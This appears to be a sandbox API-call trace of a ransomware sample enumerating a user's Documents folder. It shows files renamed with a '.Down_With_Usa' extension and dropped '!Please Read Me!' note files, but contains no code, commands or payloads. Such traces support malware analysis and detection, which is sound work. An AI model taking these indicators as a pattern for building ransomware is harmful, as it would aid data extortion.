[0275.932] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x27d84af0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0
[0275.940] CoTaskMemFree (pv=0x27d84af0)
[0275.940] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x2ece40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27
[0275.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf40) returned 1
[0275.941] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x2eca30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27
[0275.942] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", nBufferLength=0x105, lpBuffer=0x2ec9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpFilePart=0x0) returned 0x28
[0275.942] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x2ecbe0 | out: lpFindFileData=0x2ecbe0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x26defbe0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26defbe0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x27f05e50
[0275.943] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x26defbe0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26defbe0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0275.943] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26dc9a80, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x26dc9a80, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26dc9a80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt", cAlternateFileName="!PLEAS~1.TXT")) returned 1
[0275.944] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26defbe0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x26defbe0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26defbe0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.vbs", cAlternateFileName="!PLEAS~1.VBS")) returned 1
[0275.944] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9eff680, ftCreationTime.dwHighDateTime=0x1d5ddc1, ftLastAccessTime.dwLowDateTime=0x24316fe0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x24316fe0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="-7ZVeclo4chRuWb-m d", cAlternateFileName="-7ZVEC~1")) returned 1
[0275.945] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb279140, ftCreationTime.dwHighDateTime=0x1d59d73, ftLastAccessTime.dwLowDateTime=0x23de10f0, ftLastAccessTime.dwHighDateTime=0x1d5da37, ftLastWriteTime.dwLowDateTime=0x22cec300, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x100e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0ynk2co-Oa6OkC4.pptx.Down_With_Usa", cAlternateFileName="0YNK2C~1.DOW")) returned 1
[0275.945] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c6d45b0, ftCreationTime.dwHighDateTime=0x1d5601e, ftLastAccessTime.dwLowDateTime=0x90cde1a0, ftLastAccessTime.dwHighDateTime=0x1d57b8b, ftLastWriteTime.dwLowDateTime=0x22d5e720, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x9d30, dwReserved0=0x0, dwReserved1=0x0, cFileName="3M9 J2MIs-i26K3.xlsx.Down_With_Usa", cAlternateFileName="3M9J2M~1.DOW")) returned 1
[0275.946] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd59392e0, ftCreationTime.dwHighDateTime=0x1d5dc15, ftLastAccessTime.dwLowDateTime=0x245061c0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x245061c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5ehfu7t1E3TB", cAlternateFileName="5EHFU7~1")) returned 1
[0275.946] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c6dc90, ftCreationTime.dwHighDateTime=0x1d57003, ftLastAccessTime.dwLowDateTime=0x93a3bdd0, ftLastAccessTime.dwHighDateTime=0x1d57f84, ftLastWriteTime.dwLowDateTime=0x22daa9e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x5a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="aWtiCahM.pptx.Down_With_Usa", cAlternateFileName="AWTICA~1.DOW")) returned 1
[0275.947] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8321530, ftCreationTime.dwHighDateTime=0x1d5a4bc, ftLastAccessTime.dwLowDateTime=0x74f8a7c0, ftLastAccessTime.dwHighDateTime=0x1d5c1d7, ftLastWriteTime.dwLowDateTime=0x22eb5380, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x10690, dwReserved0=0x0, dwReserved1=0x0, cFileName="CiAOgIqfyBwAbK406MX.pptx.Down_With_Usa", cAlternateFileName="CIAOGI~1.DOW")) returned 1
[0275.947] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0275.948] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c43f50, ftCreationTime.dwHighDateTime=0x1d5c7d2, ftLastAccessTime.dwLowDateTime=0xce4c82f0, ftLastAccessTime.dwHighDateTime=0x1d5d484, ftLastWriteTime.dwLowDateTime=0x22f99bc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xad30, dwReserved0=0x0, dwReserved1=0x0, cFileName="g1DQq3TE.xlsx.Down_With_Usa", cAlternateFileName="G1DQQ3~1.DOW")) returned 1
[0275.948] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0638210, ftCreationTime.dwHighDateTime=0x1d55ec4, ftLastAccessTime.dwLowDateTime=0xd760d390, ftLastAccessTime.dwHighDateTime=0x1d59b00, ftLastWriteTime.dwLowDateTime=0x23032140, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x7a10, dwReserved0=0x0, dwReserved1=0x0, cFileName="gbhinf.docx.Down_With_Usa", cAlternateFileName="GBHINF~1.DOW")) returned 1
[0275.949] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0c5ff0, ftCreationTime.dwHighDateTime=0x1d56afd, ftLastAccessTime.dwLowDateTime=0xa6f66e80, ftLastAccessTime.dwHighDateTime=0x1d5c5b8, ftLastWriteTime.dwLowDateTime=0x230a4560, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xa520, dwReserved0=0x0, dwReserved1=0x0, cFileName="H8ivmRdRUdGkJ.pptx.Down_With_Usa", cAlternateFileName="H8IVMR~1.DOW")) returned 1
[0275.949] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ebad40, ftCreationTime.dwHighDateTime=0x1d57ea4, ftLastAccessTime.dwLowDateTime=0xe6e60b20, ftLastAccessTime.dwHighDateTime=0x1d58145, ftLastWriteTime.dwLowDateTime=0x23116980, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1380, dwReserved0=0x0, dwReserved1=0x0, cFileName="IDFOI5o_3T4O.xlsx.Down_With_Usa", cAlternateFileName="IDFOI5~1.DOW")) returned 1
[0275.949] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41fb7760, ftCreationTime.dwHighDateTime=0x1d5b8dd, ftLastAccessTime.dwLowDateTime=0x70ae1810, ftLastAccessTime.dwHighDateTime=0x1d5b108, ftLastWriteTime.dwLowDateTime=0x231aef00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x17810, dwReserved0=0x0, dwReserved1=0x0, cFileName="IUEU zajv8i.pptx.Down_With_Usa", cAlternateFileName="IUEUZA~1.DOW")) returned 1
[0275.950] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0b5e0d0, ftCreationTime.dwHighDateTime=0x1d57817, ftLastAccessTime.dwLowDateTime=0x9a1f8150, ftLastAccessTime.dwHighDateTime=0x1d5b100, ftLastWriteTime.dwLowDateTime=0x23247480, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xf500, dwReserved0=0x0, dwReserved1=0x0, cFileName="JBaHIgAqTJA.xlsx.Down_With_Usa", cAlternateFileName="JBAHIG~1.DOW")) returned 1
[0275.950] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92dce0, ftCreationTime.dwHighDateTime=0x1d5b6ce, ftLastAccessTime.dwLowDateTime=0x3b3de6e0, ftLastAccessTime.dwHighDateTime=0x1d583a6, ftLastWriteTime.dwLowDateTime=0x232dfa00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x163e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kyGGi7Mewmm.docx.Down_With_Usa", cAlternateFileName="KYGGI7~1.DOW")) returned 1
[0275.951] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb8876e0, ftCreationTime.dwHighDateTime=0x1d5d827, ftLastAccessTime.dwLowDateTime=0xa14dd140, ftLastAccessTime.dwHighDateTime=0x1d5e5c4, ftLastWriteTime.dwLowDateTime=0x233c4240, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xda00, dwReserved0=0x0, dwReserved1=0x0, cFileName="m66qahNRMTKLGBLHJw.ods.Down_With_Usa", cAlternateFileName="M66QAH~1.DOW")) returned 1
[0275.951] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1
[0275.952] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1
[0275.952] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x24610b60, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x24610b60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1
[0275.953] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1
[0275.953] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x247d9be0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x247d9be0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1
[0275.954] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe334dcf0, ftCreationTime.dwHighDateTime=0x1d5e440, ftLastAccessTime.dwLowDateTime=0x24a15080, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x24a15080, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OZ1hK", cAlternateFileName="")) returned 1
[0275.954] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55d9c370, ftCreationTime.dwHighDateTime=0x1d56cdb, ftLastAccessTime.dwLowDateTime=0x58ad0f20, ftLastAccessTime.dwHighDateTime=0x1d57367, ftLastWriteTime.dwLowDateTime=0x23436660, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8b10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pzk5f8oRu5.docx.Down_With_Usa", cAlternateFileName="PZK5F8~1.DOW")) returned 1
[0275.955] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b072030, ftCreationTime.dwHighDateTime=0x1d5a88b, ftLastAccessTime.dwLowDateTime=0xf5f79c20, ftLastAccessTime.dwHighDateTime=0x1d5bcb7, ftLastWriteTime.dwLowDateTime=0x23482920, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x9e30, dwReserved0=0x0, dwReserved1=0x0, cFileName="RROSpJzOY.xlsx.Down_With_Usa", cAlternateFileName="RROSPJ~1.DOW")) returned 1
[0275.955] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaafa0270, ftCreationTime.dwHighDateTime=0x1d5d7ed, ftLastAccessTime.dwLowDateTime=0x4c10fb20, ftLastAccessTime.dwHighDateTime=0x1d5d88c, ftLastWriteTime.dwLowDateTime=0x234f4d40, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x111c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sNUw0vqjwlQLBuBn7.pps.Down_With_Usa", cAlternateFileName="SNUW0V~1.DOW")) returned 1
[0275.956] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f14b60, ftCreationTime.dwHighDateTime=0x1d57951, ftLastAccessTime.dwLowDateTime=0x5f669830, ftLastAccessTime.dwHighDateTime=0x1d58745, ftLastWriteTime.dwLowDateTime=0x2358d2c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x10a10, dwReserved0=0x0, dwReserved1=0x0, cFileName="yOGq-nHH7u4.docx.Down_With_Usa", cAlternateFileName="YOGQ-N~1.DOW")) returned 1
[0275.956] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75650f90, ftCreationTime.dwHighDateTime=0x1d5c584, ftLastAccessTime.dwLowDateTime=0x746539d0, ftLastAccessTime.dwHighDateTime=0x1d56760, ftLastWriteTime.dwLowDateTime=0x23697c60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x99f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="z3BojLPubdP0.docx.Down_With_Usa", cAlternateFileName="Z3BOJL~1.DOW")) returned 1
[0275.985] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0275.985] FindClose (in: hFindFile=0x27f05e50 | out: hFindFile=0x27f05e50) returned 1
[0275.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece90) returned 1
[0275.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ece50) returned 1
[0275.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ecf40) returned 1
[0275.986] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x2eca30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27
[0275.986] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", nBufferLength=0x105, lpBuffer=0x2ec9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpFilePart=0x0) returned 0x28
[0275.986] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x2ecbe0 | out: lpFindFileData=0x2ecbe0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x26defbe0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26defbe0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x27f05e50
[0275.987] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x26defbe0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26defbe0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0275.987] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26dc9a80, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x26dc9a80, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26dc9a80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt", cAlternateFileName="!PLEAS~1.TXT")) returned 1
[0275.988] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26defbe0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x26defbe0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x26defbe0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.vbs", cAlternateFileName="!PLEAS~1.VBS")) returned 1
[0275.989] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9eff680, ftCreationTime.dwHighDateTime=0x1d5ddc1, ftLastAccessTime.dwLowDateTime=0x24316fe0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x24316fe0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="-7ZVeclo4chRuWb-m d", cAlternateFileName="-7ZVEC~1")) returned 1
[0275.989] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb279140, ftCreationTime.dwHighDateTime=0x1d59d73, ftLastAccessTime.dwLowDateTime=0x23de10f0, ftLastAccessTime.dwHighDateTime=0x1d5da37, ftLastWriteTime.dwLowDateTime=0x22cec300, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x100e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0ynk2co-Oa6OkC4.pptx.Down_With_Usa", cAlternateFileName="0YNK2C~1.DOW")) returned 1
[0275.990] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c6d45b0, ftCreationTime.dwHighDateTime=0x1d5601e, ftLastAccessTime.dwLowDateTime=0x90cde1a0, ftLastAccessTime.dwHighDateTime=0x1d57b8b, ftLastWriteTime.dwLowDateTime=0x22d5e720, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x9d30, dwReserved0=0x0, dwReserved1=0x0, cFileName="3M9 J2MIs-i26K3.xlsx.Down_With_Usa", cAlternateFileName="3M9J2M~1.DOW")) returned 1
[0275.990] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd59392e0, ftCreationTime.dwHighDateTime=0x1d5dc15, ftLastAccessTime.dwLowDateTime=0x245061c0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x245061c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5ehfu7t1E3TB", cAlternateFileName="5EHFU7~1")) returned 1
[0275.991] FindNextFileW (in: hFindFile=0x27f05e50, lpFindFileData=0x2ecc30 | out: lpFindFileData=0x2ecc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c6dc90, ftCreationTime.dwHighDateTime=0x1d57003, ftLastAccessTime.dwLowDateTime=0x93a3bdd0, ftLastAccessTime.dwHighDateTime=0x1d57f84, ftLastWriteTime.dwLowDateTime=0x22daa9e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x5a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="aWtiCahM.pptx.Down_With_Usa", cAlternateFileName="AWTICA~1.DOW")) returned 1
